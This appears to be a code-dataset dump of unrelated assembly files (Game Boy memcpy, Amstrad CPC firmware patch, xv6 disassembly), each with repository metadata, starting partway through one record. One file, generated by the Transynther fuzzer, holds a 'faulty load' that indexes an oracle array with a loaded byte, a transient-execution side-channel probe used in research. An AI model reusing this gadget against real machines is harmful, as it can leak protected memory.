{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 2}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 5}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 11}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 5}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 6}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 4}}
{'00': 670}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 27.755814 | 2,009 | 0.650468 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_670_1674.asm | 7,161 | Assembly |
; void memcpy(void *dest, const void *source, int count)
_mymemcpy::
ldhl sp,#4
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld c,(hl)
inc hl
ld b,(hl)
ldhl sp,#2
ld a,(hl+)
ld h,(hl)
ld l,a
inc b
inc c
jr 2$
1$:
ld a,(de)
ld (hl+),a
inc de
2$:
dec c
jr nz,1$
dec b
jr nz,1$
ret
| 10.103448 | 56 | 0.552901 | [
"MIT"
] | CelestialAmber/tobutobugirl-dx | mymemcpy.asm | 293 | Assembly |
;
; Amstrad CPC library
; ******************************************************
; ** Librería de rutinas para Amstrad CPC **
; ** Raúl Simarro, Artaburu 2009 **
; ******************************************************
;
; $Id: cpc_DisableFirmware.asm $
;
SECTION code_clib
PUBLIC cpc_DisableFirmware
PUBLIC _cpc_DisableFirmware
PUBLIC backup
.cpc_DisableFirmware
._cpc_DisableFirmware
DI
LD HL,($0038)
LD (backup),HL
LD HL,$0038
LD (hl),$FB ;EI
inc hl
LD (hl),$C9 ;RET
EI
RET
SECTION bss_clib
.backup defw 0
| 18.96875 | 56 | 0.484349 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/target/cpc/cpcrslib/cpc_DisableFirmware.asm | 609 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1af92, %r10
nop
nop
nop
dec %r11
mov (%r10), %rdi
nop
nop
sub %r14, %r14
lea addresses_UC_ht+0x16f8a, %rsi
lea addresses_UC_ht+0x73d2, %rdi
nop
nop
nop
sub %rbx, %rbx
mov $4, %rcx
rep movsb
nop
nop
nop
nop
nop
and $3987, %r10
lea addresses_UC_ht+0xa592, %rsi
cmp %r10, %r10
mov $0x6162636465666768, %rbx
movq %rbx, (%rsi)
nop
nop
nop
nop
sub %r11, %r11
lea addresses_WT_ht+0xd92, %rbx
nop
nop
nop
nop
nop
add %r10, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm6
and $0xffffffffffffffc0, %rbx
movntdq %xmm6, (%rbx)
nop
nop
nop
nop
and $28428, %rdi
lea addresses_A_ht+0xf992, %r11
nop
nop
and $50588, %r14
movb (%r11), %bl
sub $9996, %r10
lea addresses_A_ht+0x9566, %r11
clflush (%r11)
nop
nop
nop
nop
dec %rsi
mov $0x6162636465666768, %r10
movq %r10, %xmm5
vmovups %ymm5, (%r11)
inc %rsi
lea addresses_A_ht+0x9b6a, %rsi
nop
nop
nop
inc %rcx
mov (%rsi), %rbx
nop
cmp %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r9
push %rax
push %rbp
push %rdx
// Faulty Load
lea addresses_WT+0x1e592, %rdx
nop
nop
nop
nop
sub $19651, %rax
mov (%rdx), %r13w
lea oracles, %rbp
and $0xff, %r13
shlq $12, %r13
mov (%rbp,%r13,1), %r13
pop %rdx
pop %rbp
pop %rax
pop %r9
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 41.345588 | 2,999 | 0.659968 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_505.asm | 5,623 | Assembly |
_genUniR: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
f: 83 ec 10 sub $0x10,%esp
12: 89 cb mov %ecx,%ebx
int a = atoi(argv[1]), b = atoi(argv[2]);
14: 8b 43 04 mov 0x4(%ebx),%eax
17: 83 c0 04 add $0x4,%eax
1a: 8b 00 mov (%eax),%eax
1c: 83 ec 0c sub $0xc,%esp
1f: 50 push %eax
20: e8 26 02 00 00 call 24b <atoi>
25: 83 c4 10 add $0x10,%esp
28: 89 45 f0 mov %eax,-0x10(%ebp)
2b: 8b 43 04 mov 0x4(%ebx),%eax
2e: 83 c0 08 add $0x8,%eax
31: 8b 00 mov (%eax),%eax
33: 83 ec 0c sub $0xc,%esp
36: 50 push %eax
37: e8 0f 02 00 00 call 24b <atoi>
3c: 83 c4 10 add $0x10,%esp
3f: 89 45 ec mov %eax,-0x14(%ebp)
int i;
for(i=0; i< b-a+1; i++)
42: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
49: eb 28 jmp 73 <main+0x73>
printf(1,"%d \n",uniformR(a,b));
4b: 83 ec 08 sub $0x8,%esp
4e: ff 75 ec pushl -0x14(%ebp)
51: ff 75 f0 pushl -0x10(%ebp)
54: e8 85 03 00 00 call 3de <uniformR>
59: 83 c4 10 add $0x10,%esp
5c: 83 ec 04 sub $0x4,%esp
5f: 50 push %eax
60: 68 7b 08 00 00 push $0x87b
65: 6a 01 push $0x1
67: e8 59 04 00 00 call 4c5 <printf>
6c: 83 c4 10 add $0x10,%esp
int
main(int argc, char *argv[])
{
int a = atoi(argv[1]), b = atoi(argv[2]);
int i;
for(i=0; i< b-a+1; i++)
6f: 83 45 f4 01 addl $0x1,-0xc(%ebp)
73: 8b 45 ec mov -0x14(%ebp),%eax
76: 2b 45 f0 sub -0x10(%ebp),%eax
79: 83 c0 01 add $0x1,%eax
7c: 3b 45 f4 cmp -0xc(%ebp),%eax
7f: 7f ca jg 4b <main+0x4b>
printf(1,"%d \n",uniformR(a,b));
exit();
81: e8 a8 02 00 00 call 32e <exit>
00000086 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
86: 55 push %ebp
87: 89 e5 mov %esp,%ebp
89: 57 push %edi
8a: 53 push %ebx
asm volatile("cld; rep stosb" :
8b: 8b 4d 08 mov 0x8(%ebp),%ecx
8e: 8b 55 10 mov 0x10(%ebp),%edx
91: 8b 45 0c mov 0xc(%ebp),%eax
94: 89 cb mov %ecx,%ebx
96: 89 df mov %ebx,%edi
98: 89 d1 mov %edx,%ecx
9a: fc cld
9b: f3 aa rep stos %al,%es:(%edi)
9d: 89 ca mov %ecx,%edx
9f: 89 fb mov %edi,%ebx
a1: 89 5d 08 mov %ebx,0x8(%ebp)
a4: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
a7: 90 nop
a8: 5b pop %ebx
a9: 5f pop %edi
aa: 5d pop %ebp
ab: c3 ret
000000ac <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
ac: 55 push %ebp
ad: 89 e5 mov %esp,%ebp
af: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
b2: 8b 45 08 mov 0x8(%ebp),%eax
b5: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
b8: 90 nop
b9: 8b 45 08 mov 0x8(%ebp),%eax
bc: 8d 50 01 lea 0x1(%eax),%edx
bf: 89 55 08 mov %edx,0x8(%ebp)
c2: 8b 55 0c mov 0xc(%ebp),%edx
c5: 8d 4a 01 lea 0x1(%edx),%ecx
c8: 89 4d 0c mov %ecx,0xc(%ebp)
cb: 0f b6 12 movzbl (%edx),%edx
ce: 88 10 mov %dl,(%eax)
d0: 0f b6 00 movzbl (%eax),%eax
d3: 84 c0 test %al,%al
d5: 75 e2 jne b9 <strcpy+0xd>
;
return os;
d7: 8b 45 fc mov -0x4(%ebp),%eax
}
da: c9 leave
db: c3 ret
000000dc <strcmp>:
int
strcmp(const char *p, const char *q)
{
dc: 55 push %ebp
dd: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
df: eb 08 jmp e9 <strcmp+0xd>
p++, q++;
e1: 83 45 08 01 addl $0x1,0x8(%ebp)
e5: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
e9: 8b 45 08 mov 0x8(%ebp),%eax
ec: 0f b6 00 movzbl (%eax),%eax
ef: 84 c0 test %al,%al
f1: 74 10 je 103 <strcmp+0x27>
f3: 8b 45 08 mov 0x8(%ebp),%eax
f6: 0f b6 10 movzbl (%eax),%edx
f9: 8b 45 0c mov 0xc(%ebp),%eax
fc: 0f b6 00 movzbl (%eax),%eax
ff: 38 c2 cmp %al,%dl
101: 74 de je e1 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
103: 8b 45 08 mov 0x8(%ebp),%eax
106: 0f b6 00 movzbl (%eax),%eax
109: 0f b6 d0 movzbl %al,%edx
10c: 8b 45 0c mov 0xc(%ebp),%eax
10f: 0f b6 00 movzbl (%eax),%eax
112: 0f b6 c0 movzbl %al,%eax
115: 29 c2 sub %eax,%edx
117: 89 d0 mov %edx,%eax
}
119: 5d pop %ebp
11a: c3 ret
0000011b <strlen>:
uint
strlen(char *s)
{
11b: 55 push %ebp
11c: 89 e5 mov %esp,%ebp
11e: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
121: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
128: eb 04 jmp 12e <strlen+0x13>
12a: 83 45 fc 01 addl $0x1,-0x4(%ebp)
12e: 8b 55 fc mov -0x4(%ebp),%edx
131: 8b 45 08 mov 0x8(%ebp),%eax
134: 01 d0 add %edx,%eax
136: 0f b6 00 movzbl (%eax),%eax
139: 84 c0 test %al,%al
13b: 75 ed jne 12a <strlen+0xf>
;
return n;
13d: 8b 45 fc mov -0x4(%ebp),%eax
}
140: c9 leave
141: c3 ret
00000142 <memset>:
void*
memset(void *dst, int c, uint n)
{
142: 55 push %ebp
143: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
145: 8b 45 10 mov 0x10(%ebp),%eax
148: 50 push %eax
149: ff 75 0c pushl 0xc(%ebp)
14c: ff 75 08 pushl 0x8(%ebp)
14f: e8 32 ff ff ff call 86 <stosb>
154: 83 c4 0c add $0xc,%esp
return dst;
157: 8b 45 08 mov 0x8(%ebp),%eax
}
15a: c9 leave
15b: c3 ret
0000015c <strchr>:
char*
strchr(const char *s, char c)
{
15c: 55 push %ebp
15d: 89 e5 mov %esp,%ebp
15f: 83 ec 04 sub $0x4,%esp
162: 8b 45 0c mov 0xc(%ebp),%eax
165: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
168: eb 14 jmp 17e <strchr+0x22>
if(*s == c)
16a: 8b 45 08 mov 0x8(%ebp),%eax
16d: 0f b6 00 movzbl (%eax),%eax
170: 3a 45 fc cmp -0x4(%ebp),%al
173: 75 05 jne 17a <strchr+0x1e>
return (char*)s;
175: 8b 45 08 mov 0x8(%ebp),%eax
178: eb 13 jmp 18d <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
17a: 83 45 08 01 addl $0x1,0x8(%ebp)
17e: 8b 45 08 mov 0x8(%ebp),%eax
181: 0f b6 00 movzbl (%eax),%eax
184: 84 c0 test %al,%al
186: 75 e2 jne 16a <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
188: b8 00 00 00 00 mov $0x0,%eax
}
18d: c9 leave
18e: c3 ret
0000018f <gets>:
char*
gets(char *buf, int max)
{
18f: 55 push %ebp
190: 89 e5 mov %esp,%ebp
192: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
195: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
19c: eb 42 jmp 1e0 <gets+0x51>
cc = read(0, &c, 1);
19e: 83 ec 04 sub $0x4,%esp
1a1: 6a 01 push $0x1
1a3: 8d 45 ef lea -0x11(%ebp),%eax
1a6: 50 push %eax
1a7: 6a 00 push $0x0
1a9: e8 98 01 00 00 call 346 <read>
1ae: 83 c4 10 add $0x10,%esp
1b1: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1b4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1b8: 7e 33 jle 1ed <gets+0x5e>
break;
buf[i++] = c;
1ba: 8b 45 f4 mov -0xc(%ebp),%eax
1bd: 8d 50 01 lea 0x1(%eax),%edx
1c0: 89 55 f4 mov %edx,-0xc(%ebp)
1c3: 89 c2 mov %eax,%edx
1c5: 8b 45 08 mov 0x8(%ebp),%eax
1c8: 01 c2 add %eax,%edx
1ca: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1ce: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1d0: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d4: 3c 0a cmp $0xa,%al
1d6: 74 16 je 1ee <gets+0x5f>
1d8: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1dc: 3c 0d cmp $0xd,%al
1de: 74 0e je 1ee <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1e0: 8b 45 f4 mov -0xc(%ebp),%eax
1e3: 83 c0 01 add $0x1,%eax
1e6: 3b 45 0c cmp 0xc(%ebp),%eax
1e9: 7c b3 jl 19e <gets+0xf>
1eb: eb 01 jmp 1ee <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
1ed: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1ee: 8b 55 f4 mov -0xc(%ebp),%edx
1f1: 8b 45 08 mov 0x8(%ebp),%eax
1f4: 01 d0 add %edx,%eax
1f6: c6 00 00 movb $0x0,(%eax)
return buf;
1f9: 8b 45 08 mov 0x8(%ebp),%eax
}
1fc: c9 leave
1fd: c3 ret
000001fe <stat>:
int
stat(char *n, struct stat *st)
{
1fe: 55 push %ebp
1ff: 89 e5 mov %esp,%ebp
201: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
204: 83 ec 08 sub $0x8,%esp
207: 6a 00 push $0x0
209: ff 75 08 pushl 0x8(%ebp)
20c: e8 5d 01 00 00 call 36e <open>
211: 83 c4 10 add $0x10,%esp
214: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
217: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
21b: 79 07 jns 224 <stat+0x26>
return -1;
21d: b8 ff ff ff ff mov $0xffffffff,%eax
222: eb 25 jmp 249 <stat+0x4b>
r = fstat(fd, st);
224: 83 ec 08 sub $0x8,%esp
227: ff 75 0c pushl 0xc(%ebp)
22a: ff 75 f4 pushl -0xc(%ebp)
22d: e8 54 01 00 00 call 386 <fstat>
232: 83 c4 10 add $0x10,%esp
235: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
238: 83 ec 0c sub $0xc,%esp
23b: ff 75 f4 pushl -0xc(%ebp)
23e: e8 13 01 00 00 call 356 <close>
243: 83 c4 10 add $0x10,%esp
return r;
246: 8b 45 f0 mov -0x10(%ebp),%eax
}
249: c9 leave
24a: c3 ret
0000024b <atoi>:
int
atoi(const char *s)
{
24b: 55 push %ebp
24c: 89 e5 mov %esp,%ebp
24e: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
251: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
258: eb 25 jmp 27f <atoi+0x34>
n = n*10 + *s++ - '0';
25a: 8b 55 fc mov -0x4(%ebp),%edx
25d: 89 d0 mov %edx,%eax
25f: c1 e0 02 shl $0x2,%eax
262: 01 d0 add %edx,%eax
264: 01 c0 add %eax,%eax
266: 89 c1 mov %eax,%ecx
268: 8b 45 08 mov 0x8(%ebp),%eax
26b: 8d 50 01 lea 0x1(%eax),%edx
26e: 89 55 08 mov %edx,0x8(%ebp)
271: 0f b6 00 movzbl (%eax),%eax
274: 0f be c0 movsbl %al,%eax
277: 01 c8 add %ecx,%eax
279: 83 e8 30 sub $0x30,%eax
27c: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
27f: 8b 45 08 mov 0x8(%ebp),%eax
282: 0f b6 00 movzbl (%eax),%eax
285: 3c 2f cmp $0x2f,%al
287: 7e 0a jle 293 <atoi+0x48>
289: 8b 45 08 mov 0x8(%ebp),%eax
28c: 0f b6 00 movzbl (%eax),%eax
28f: 3c 39 cmp $0x39,%al
291: 7e c7 jle 25a <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
293: 8b 45 fc mov -0x4(%ebp),%eax
}
296: c9 leave
297: c3 ret
00000298 <itoa>:
char*
itoa(int val, int base){
298: 55 push %ebp
299: 89 e5 mov %esp,%ebp
29b: 83 ec 10 sub $0x10,%esp
static char buf[32] = {0};
int i = 30;
29e: c7 45 fc 1e 00 00 00 movl $0x1e,-0x4(%ebp)
for(; val && i ; --i, val /= base)
2a5: eb 29 jmp 2d0 <itoa+0x38>
buf[i] = "0123456789abcdef"[val % base];
2a7: 8b 45 08 mov 0x8(%ebp),%eax
2aa: 99 cltd
2ab: f7 7d 0c idivl 0xc(%ebp)
2ae: 89 d0 mov %edx,%eax
2b0: 0f b6 80 80 08 00 00 movzbl 0x880(%eax),%eax
2b7: 8b 55 fc mov -0x4(%ebp),%edx
2ba: 81 c2 20 0b 00 00 add $0xb20,%edx
2c0: 88 02 mov %al,(%edx)
static char buf[32] = {0};
int i = 30;
for(; val && i ; --i, val /= base)
2c2: 83 6d fc 01 subl $0x1,-0x4(%ebp)
2c6: 8b 45 08 mov 0x8(%ebp),%eax
2c9: 99 cltd
2ca: f7 7d 0c idivl 0xc(%ebp)
2cd: 89 45 08 mov %eax,0x8(%ebp)
2d0: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
2d4: 74 06 je 2dc <itoa+0x44>
2d6: 83 7d fc 00 cmpl $0x0,-0x4(%ebp)
2da: 75 cb jne 2a7 <itoa+0xf>
buf[i] = "0123456789abcdef"[val % base];
return &buf[i+1];
2dc: 8b 45 fc mov -0x4(%ebp),%eax
2df: 83 c0 01 add $0x1,%eax
2e2: 05 20 0b 00 00 add $0xb20,%eax
}
2e7: c9 leave
2e8: c3 ret
000002e9 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
2e9: 55 push %ebp
2ea: 89 e5 mov %esp,%ebp
2ec: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
2ef: 8b 45 08 mov 0x8(%ebp),%eax
2f2: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
2f5: 8b 45 0c mov 0xc(%ebp),%eax
2f8: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
2fb: eb 17 jmp 314 <memmove+0x2b>
*dst++ = *src++;
2fd: 8b 45 fc mov -0x4(%ebp),%eax
300: 8d 50 01 lea 0x1(%eax),%edx
303: 89 55 fc mov %edx,-0x4(%ebp)
306: 8b 55 f8 mov -0x8(%ebp),%edx
309: 8d 4a 01 lea 0x1(%edx),%ecx
30c: 89 4d f8 mov %ecx,-0x8(%ebp)
30f: 0f b6 12 movzbl (%edx),%edx
312: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
314: 8b 45 10 mov 0x10(%ebp),%eax
317: 8d 50 ff lea -0x1(%eax),%edx
31a: 89 55 10 mov %edx,0x10(%ebp)
31d: 85 c0 test %eax,%eax
31f: 7f dc jg 2fd <memmove+0x14>
*dst++ = *src++;
return vdst;
321: 8b 45 08 mov 0x8(%ebp),%eax
}
324: c9 leave
325: c3 ret
00000326 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
326: b8 01 00 00 00 mov $0x1,%eax
32b: cd 40 int $0x40
32d: c3 ret
0000032e <exit>:
SYSCALL(exit)
32e: b8 02 00 00 00 mov $0x2,%eax
333: cd 40 int $0x40
335: c3 ret
00000336 <wait>:
SYSCALL(wait)
336: b8 03 00 00 00 mov $0x3,%eax
33b: cd 40 int $0x40
33d: c3 ret
